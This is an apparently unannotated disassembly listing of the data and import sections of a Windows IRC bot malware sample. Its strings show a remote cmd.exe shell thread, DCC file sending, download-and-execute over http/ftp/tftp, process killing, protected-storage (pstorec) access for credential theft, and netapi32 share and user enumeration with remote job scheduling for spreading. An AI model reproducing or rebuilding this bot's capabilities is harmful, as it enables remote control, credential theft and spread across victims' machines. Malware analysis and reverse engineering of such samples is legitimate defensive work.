71AB12F8h ; DATA XREF: sub_401B81+163r ; sub_406BE0+B6r ... dword_411258 dd 71AB5690h ; DATA XREF: sub_401985+CFr ; sub_403D69+1Ar ... dword_41125C dd 71AB12A7h ; DATA XREF: sub_401985+FEr ; sub_401B81+16Ar dword_411260 dd 71AB1836h ; DATA XREF: sub_4049B5+202r ; sub_404BC3+DFr ... dword_411264 dd 71AB1444h ; DATA XREF: sub_40D201+19Ar dword_411268 dd 71AB1ED3h ; DATA XREF: sub_40D201+121r dword_41126C dd 71AB14DCh ; DATA XREF: sub_40FFBC+D8r dword_411270 dd 71AB32CAh ; DATA XREF: sub_40FFBC+6Br dword_411274 dd 71AB41DAh ; DATA XREF: seg000:004106F5r dword_411278 dd 71AB5DE2h ; DATA XREF: sub_4035FB+D3r align 10h flt_411280 dd 1.0e-3 ; DATA XREF: sub_401985+18Er ; sub_401985+1B0r ... flt_411284 dd 9.765625e-4 ; DATA XREF: sub_405E4E+1A6r dword_411288 dd 0FFFFFFFFh, 406511h, 406527h, 0 ; DATA XREF: sub_4064A0+5o dword_411298 dd 0FFFFFFFFh, 40660Ah, 406622h, 0 ; DATA XREF: sub_406596+5o dword_4112A8 dd 0FFFFFFFFh, 4107DBh, 4107F1h, 0 ; DATA XREF: seg000:00410554o dd offset loc_4107A7 dd offset loc_4107BD dd offset dword_411300 off_4112C4 dd offset sub_410C25 ; DATA XREF: sub_410BF3+12o ; seg000:00410C5Ao ... dd offset dword_411348 off_4112CC dd offset sub_410CA6 ; DATA XREF: .data:off_417B10o ; .data:off_417B30o off_4112D0 dd offset off_417B10 ; DATA XREF: seg001:004112E8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4112D0 dword_4112EC dd 3 dup(0) ; DATA XREF: seg001:00411310o dd 1, 4112E8h dword_411300 dd 3 dup(0) ; DATA XREF: seg001:004112C0o dd offset off_417B10 dd offset dword_4112EC+4 align 8 off_411318 dd offset off_417B30 ; DATA XREF: seg001:00411330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_411318 dd 0 db 0 ; DATA XREF: seg001:00411358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 411330h dword_411348 dd 3 dup(0) ; DATA XREF: seg001:004112C8o dd offset off_417B30 dd offset unk_411338 align 10h dword_411360 dd 19930520h, 4, 411380h, 5 dup(0) ; DATA XREF: seg000:loc_410CF0o dd 0FFFFFFFFh, 410CD0h, 0 dd offset loc_410CD8 dd 1, 410CE0h, 2, 410CE8h, 0 dd offset off_417B10 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 410C41h, 0 dword_4113C0 dd 1, 4113A0h ; DATA XREF: seg001:004113D4o dword_4113C8 dd 0 ; DATA XREF: sub_410BCF+19o dd offset sub_410C6E dd 0 dd offset dword_4113C0 db 90h db 15h, 1, 0 dd 2 dup(0) dd 118C0h, 11118h, 11680h, 2 dup(0) dd 118D8h, 11208h, 114A8h, 2 dup(0) dd 11CD0h, 11030h, 11664h, 2 dup(0) dd 11D46h, 111ECh, 11478h, 2 dup(0) dd 11E1Ah, 11000h, 1165Ch, 2 dup(0) dd 11E38h, 111E4h, 11654h, 2 dup(0) dd 11E9Eh, 111DCh, 5 dup(0) dd 11D72h, 11D60h, 11D82h, 11D92h, 11DA6h, 11DB8h, 11DCAh dd 11DDAh, 11DF0h, 11E02h, 11D52h, 0 dd 11B26h, 11B16h, 11B04h, 11AECh, 11AE0h, 11AC8h, 11ABAh dd 11AACh, 11A9Eh, 11A88h, 11A72h, 11A62h, 11A50h, 11A42h dd 11A36h, 11A26h, 11A1Ah, 11A0Ch, 119FEh, 11B3Ah, 119D8h dd 119C6h, 119B6h, 119A0h, 11994h, 1196Ah, 11954h, 11946h dd 11932h, 1192Ah, 11916h, 11908h, 118F2h, 11E92h, 118E4h dd 11C2Ah, 11C3Ah, 11C4Ch, 11C5Ch, 11B50h, 11B66h, 11B76h dd 11B86h, 11BA2h, 11BBCh, 11BCCh, 11BDEh, 11BFAh, 1197Eh dd 11C12h, 119EAh, 11CC0h, 11CB0h, 11CA4h, 11C98h, 11C7Eh dd 11C72h, 0 dd 11E50h, 11E58h, 11E64h, 11E7Ah, 118ACh, 118A0h, 11896h dd 1188Ch, 11882h, 116F8h, 11878h, 11870h, 11868h, 1185Ah dd 11850h, 11846h, 1183Ch, 11832h, 11822h, 11812h, 11806h dd 117F4h, 117E0h, 117D8h, 117D0h, 117C8h, 117BEh, 117B4h dd 117A8h, 1179Eh, 11794h, 1178Ch, 11784h, 1177Ch, 11774h dd 1176Ah, 11760h, 11758h, 1174Eh, 11744h, 1173Ch, 11732h dd 11728h, 1171Eh, 11716h, 1170Ch, 11702h, 11E44h, 0 dd 800000C8h, 0 dd 11E28h, 0 dd 11CDEh, 11CEAh, 11CFCh, 11D12h, 11D20h, 11D30h, 0 dd 80000004h, 80000097h, 80000016h, 80000012h, 80000015h dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h dd 8000000Ch, 80000033h, 8000006Fh, 80000001h, 80000003h dd 80000070h, 80000009h, 80000034h, 80000006h, 8000000Bh dd 80000010h, 80000008h, 80000074h, 80000011h, 80000014h dd 118CCh, 80000039h, 80000073h, 8000000Dh, 0 db 0BAh ; º db 2, 73h, 74h aRcpy db 'rcpy',0 align 2 dw 2BEh aStrlen db 'strlen',0 align 4 db 91h ; ‘ db 2, 6Dh, 61h aLloc db 'lloc',0 align 2 dw 25Eh aFree db 'free',0 align 2 dw 297h aMemcpy db 'memcpy',0 align 4 db 0C1h ; Á db 2, 73h, 74h aRncpy db 'rncpy',0 dw 2B2h aSprintf db 'sprintf',0 db 43h ; C db 2, 63h, 6Ch db 6Fh ; o db 63h, 6Bh, 0 db 99h ; ™ db 2, 6Dh, 65h aMset db 'mset',0 align 2 dw 2B6h aStrcat db 'strcat',0 align 4 db 64h ; d db 2, 66h, 74h db 65h ; e db 2 dup(6Ch), 0 db 66h ; f db 2, 66h, 77h aRite db 'rite',0 align 2 dw 24Ch aFclose db 'fclose',0 align 4 db 57h ; W db 2, 66h, 6Fh db 70h ; p db 65h, 6Eh, 0 db 5Dh ; ] db 2, 66h, 72h db 65h ; e db 61h, 64h, 0 db 62h ; b db 2, 66h, 73h db 65h ; e db 65h, 6Bh, 0 db 3Dh ; = db 2, 61h, 74h db 6Fh ; o db 69h, 2 dup(0) db 0B5h ; µ db 2, 2 dup(73h) aCanf db 'canf',0 align 2 dw 2C5h aStrstr db 'strstr',0 align 4 db 0AEh ; ® db 1, 5Fh, 73h aNprintf db 'nprintf',0 db 0C0h ; À db 2, 73h, 74h aRncmp db 'rncmp',0 dw 2A7h aRealloc db 'realloc',0 db 49h ; I db 2, 65h, 78h db 69h ; i db 74h, 2 dup(0) db 0F1h ; ñ align 2 a_ftol db '_ftol',0 db 41h ; A db 2, 63h, 65h db 69h ; i db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- retf 5F00h ; --------------------------------------------------------------------------- aExcept_handler db 'except_handler3',0 align 4 aJ db '¦',0 a_beginthreadex db '_beginthreadex',0 align 2 dw 2DCh aVsprintf db 'vsprintf',0 align 2 dw 10h db 3Fh ; ? db 3Fh, 33h, 40h db 59h ; Y db 41h, 58h, 50h db 41h ; A db 58h, 40h, 5Ah db 0 align 2 dw 0Fh db 3Fh ; ? db 3Fh, 32h, 40h db 59h ; Y db 41h, 50h, 41h db 58h ; X db 49h, 40h, 5Ah db 0 align 2 dw 29Eh aPrintf db 'printf',0 align 4 db 0B8h ; ¸ db 2, 73h, 74h aRcmp db 'rcmp',0 align 2 dw 2D3h aTolower db 'tolower',0 db 96h ; – db 2, 6Dh, 65h aMcmp db 'mcmp',0 align 2 dw 1E1h a_vsnprintf db '_vsnprintf',0 align 4 db 9Bh ; › db 1, 5Fh, 72h db 6Fh ; o db 74h, 6Ch, 0 db 9Ch ; œ db 1, 5Fh, 72h db 6Fh ; o db 74h, 72h, 0 db 98h ; ˜ db 2, 6Dh, 65h aMmove db 'mmove',0 dw 2E6h aWcslen db 'wcslen',0 align 4 db 0E3h ; ã db 2, 77h, 63h aScpy db 'scpy',0 align 2 dw 2BFh aStrncat db 'strncat',0 db 93h ; “ db 2, 6Dh, 62h aStowcs db 'stowcs',0 align 4 aI db 'I',0 a__cxxframehand db '__CxxFrameHandler',0 aMsvcrt_dll db 'MSVCRT.dll',0 align 4 db '(',0 aWsaioctl db 'WSAIoctl',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 db '|',0 aDeletefilea db 'DeleteFileA',0 dw 30Eh aSetfileattribu db 'SetFileAttributesA',0 align 4 a__0 db '.',0 aClosehandle db 'CloseHandle',0 dw 351h aTerminateproce db 'TerminateProcess',0 align 2 dw 349h aSleep db 'Sleep',0 dw 2AEh aReadprocessmem db 'ReadProcessMemory',0 dw 27Ch aOpenprocess db 'OpenProcess',0 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 177h aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0ABh ; « db 2, 52h, 65h aAdfile db 'adFile',0 align 10h db 52h ; R db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 287h aPeeknamedpipe db 'PeekNamedPipe',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 4 aM db 'Œ',0 aDuplicatehandl db 'DuplicateHandle',0 dw 13Ah aGetcurrentpr_0 db 'GetCurrentProcess',0 a__1 db '_',0 aCreatepipe db 'CreatePipe',0 align 4 dd 655302D0h, 68637261h, 68746150h, 3970041h, 74697257h dd 6C694665h, 1690065h, 4C746547h, 45747361h, 726F7272h dd 3D0000h, 79706F43h, 656C6946h, 0AF0041h, 74697845h dd 636F7250h, 737365h, 65470198h, 6F725074h, 64644163h dd 73736572h, 2480000h, 64616F4Ch, 7262694Ch, 41797261h dd 26B0000h aMultibytetowid db 'MultiByteToWideChar',0 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 314h aSetfiletime db 'SetFileTime',0 db 5Dh ; ] db 1, 47h, 65h aTfiletime db 'tFileTime',0 aM_0 db 'M',0 aCreatefilea db 'CreateFileA',0 db 0E9h ; é db 1, 47h, 65h aTwindowsdirect db 'tWindowsDirectoryA',0 align 10h db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 0FFh db 2, 53h, 65h aTcurrentdirect db 'tCurrentDirectoryA',0 align 4 dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 46h ; F db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceExA',0 dw 14Bh aGetdrivetypea db 'GetDriveTypeA',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 29Ah aQueryperforman db 'QueryPerformanceFrequency',0 dw 299h aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h dd 54657461h, 61657268h, 2190064h aInitializecr_0 db 'InitializeCriticalSection',0 aP db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 247h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aI_0 db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 3B3h aLstrcmpa db 'lstrcmpA',0 align 2 dw 150h aGetenvironment db 'GetEnvironmentVariableA',0 db 0BCh ; ¼ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 10h aZ db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 10h db 0Ah db 3, 53h, 65h aTerrormode db 'tErrorMode',0 align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 dw 2D5h aWsprintfa db 'wsprintfA',0 dw 177h aGetwindowtexta db 'GetWindowTextA',0 align 4 db 17h db 1, 47h, 65h aTforegroundwin db 'tForegroundWindow',0 aU db 'ã',0 aFindwindowa db 'FindWindowA',0 db 3Ah ; : db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 10h db 97h ; — db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 aUser32_dll db 'USER32.dll',0 align 2 dw 1C9h aRegclosekey db 'RegCloseKey',0 dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1E20041h dd 4F676552h, 4B6E6570h, 78457965h, 1D90041h, 45676552h dd 566D756Eh, 65756C61h, 1EC0041h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h aCryptreleaseco db 'CryptReleaseContext',0 aC db '–',0 aCryptgenrandom db 'CryptGenRandom',0 align 2 aE db '…',0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 db 0BDh ; ½ db 1, 5Fh, 73h aTrcmpi db 'trcmpi',0 align 10h db 34h ; 4 db 1, 5Fh, 69h db 74h ; t db 6Fh, 61h, 0 db 0C5h ; Å db 1, 5Fh, 73h aTrnicmp db 'trnicmp',0 aA_0 db 'A',0 a_cxxthrowexcep db '_CxxThrowException',0 align 2 dw 0Eh a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 2 dw 252h aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 200h seg001 ends ; Section 3. (virtual address 00012000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00012000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 412000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_412000 dd offset dword_412098 ; DATA XREF: sub_401000+Cr ; sub_401000+1Co dd offset dword_41205C dd offset dword_412040 dd offset dword_412014 dd 0 dword_412014 dd 0E6BA9DC5h, 0E2B3B1EDh, 0FC85FED1h, 0EDF6F498h, 0DD9BB0F8h ; DATA XREF: .data:0041200Co dd 0D58AAFC4h, 0F798CFF8h, 0EEDAF282h, 0D39A88CAh, 2 dup(0) dword_412040 dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0FDB5B0F0h ; DATA XREF: .data:00412008o dd 0B9E4h, 0 dword_41205C dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0E5B5B0F0h ; DATA XREF: .data:00412004o dd 0CE8B92C1h, 0DAABFFD3h, 0E7C7F283h, 0D7BFB0F8h, 0CE868FDAh dd 0ECA5D0CAh, 0F0D0D398h, 0D78AADE0h, 0DBh, 0 dword_412098 dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0E5B5B0F0h ; DATA XREF: .data:off_412000o dd 0CE8B92C1h, 0DAABFFD3h, 0E7C7F283h, 0D7BFB0F8h, 0CE868FDAh dd 0ECA5D0CAh, 98h, 0 dword_4120CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_4011C4+2CAo dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4120F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_4011C4+2B1o dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41211C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_4011C4+215o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_412144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_4011C4+46o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_412174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4014B0+6Co dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4014B0+65o aListing db 'Listing',0 ; DATA XREF: sub_4014B0+5Bo dword_4121A4 dd 303h ; DATA XREF: sub_401571+91o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401621+4Ao aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co align 4 asc_412214 db 0Dh,0Ah,0 ; DATA XREF: sub_4018D5+84o ; sub_402EFD+148o ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo align 4 aOpen db 'open',0 ; DATA XREF: sub_4018D5+22o ; sub_402230+507o ... align 4 dword_412234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401985+1C7o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_412280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401985+BCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4122AC dd 6277h ; DATA XREF: sub_401985+3Co ; sub_402018+12Do ... dword_4122B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_401B81+2D0o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4122F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_401B81+250o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_412320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_401B81+1C7o dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_412348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_401B81+17Eo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o align 4 aRb db 'rb',0 ; DATA XREF: sub_401B81+EBo ; sub_404691+62o ... align 4 dword_41237C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_401EA8+E2o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4123A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_401FA3+5Do dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo align 4 asc_4123EC db 0Dh,0Ah ; DATA XREF: sub_402018+92o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o ; sub_405CC8+BAo db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 unk_412414 db 2Dh ; - ; DATA XREF: sub_402230+573o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 10h dword_412440 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402230+549o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_412470 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402230+533o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_412498 dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402230+4C9o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4124E0 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402230+476o dword_4124EC dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co unk_4124F8 db 2Dh ; - ; DATA XREF: sub_402230+34Do db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_412524: ; DATA XREF: sub_402230+332o unicode 0, </>,0 asc_412528: ; DATA XREF: sub_402230+2D0o ; sub_40F54D+334o unicode 0, <:>,0 a69 db '69',0 ; DATA XREF: sub_402230+280o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402230+262o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402230+22Fo align 4 a21 db '21',0 ; DATA XREF: sub_402230+20Fo align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402230+1F5o align 10h a80 db '80',0 ; DATA XREF: sub_402230+1BFo ; sub_4033B0+28o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402230+1A5o dword_41255C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402230+10Do dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41258C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402230+F4o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4125C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402230+ABo dword_4125CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402230+98o dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4125FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_4027CB+97o dd 206F7420h, 2343003h, 2037325h, 0 dword_412620 dd 6578652Eh, 0 ; DATA XREF: sub_4027CB+3Fo ; sub_40D7FD+44o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o ; sub_40735A+9B8o align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40287C+17Do ; sub_40735A:loc_4083B6o align 4 dword_41264C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40287C+B3o align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40287C+ACo align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40287C:loc_40291Fo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40287C:loc_4028EAo align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40287C+34o aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_402D7B:loc_402EE2o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao align 4 aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_402D7B:loc_402ECAo aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_402D7B+108o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_402D7B+FBo aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_402D7B+F3o aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_402D7B:loc_402E65o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_402D7B:loc_402E24o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_402D7B+70o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_402D7B+63o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_402D7B+56o aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_402D7B+49o align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_402D7B+3Co align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_402D7B+34o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_402D7B+27o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402D7B+8o align 4 aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o dword_4129C0 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_402EFD+6Bo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4129F4 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_4030A7+5Eo dd 30032074h, 73250234h, 203h dword_412A14 dd 333131h ; DATA XREF: sub_4030A7:loc_4030BCo dword_412A18 dd 9C9EB3E1h, 0CF809E9Eh, 0FC99A2C1h, 82h, 0 ; DATA XREF: sub_4033B0+Ao dword_412A2C dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o dword_412A38 dd 2E3031h ; DATA XREF: sub_403201+48o dword_412A3C dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_403201+34o dword_412A48 dd 2E323731h, 0 ; DATA XREF: sub_403201+20o dword_412A50 dd 2E373231h, 0 ; DATA XREF: sub_403201+7o dword_412A58 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_408F9D+172o ; sub_40CA47+1DFo dword_412A64 dd 313A3Ah ; DATA XREF: sub_403342+3Co aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_403E9B+47o align 10h aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_403E9B+3Ao align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_403E9B+2Do align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_403E9B+25o align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_403E9B+Bo align 4 aSystem db 'system',0 ; DATA XREF: sub_403F1D+C5o ; .data:004156C4o ... align 10h dword_412AD0 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_404143+7Eo dd 732520h dword_412AE8 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_404143+48o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_412B10 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_404202+27o dword_412B20 dd 58323025h, 0 ; DATA XREF: sub_4043B3+1C4o ; sub_40F089+Do dword_412B28 dd 58383025h, 0 ; DATA XREF: sub_4043B3+181o ; sub_40735A+E1Do dword_412B30 dd 7325h ; DATA XREF: sub_4043B3+15Fo ; sub_4058D7+2BAo ... aHkus db 'HKUS',0 ; DATA XREF: sub_4043B3+79o align 4 aHklm db 'HKLM',0 ; DATA XREF: sub_4043B3+5Do align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_4043B3+41o align 4 aHkcr db 'HKCR',0 ; DATA XREF: sub_4043B3+25o align 4 off_412B54 dd offset dword_412D9C ; DATA XREF: sub_4049B5+2Er ; sub_4049B5+3Co ... off_412B58 dd offset dword_412D74 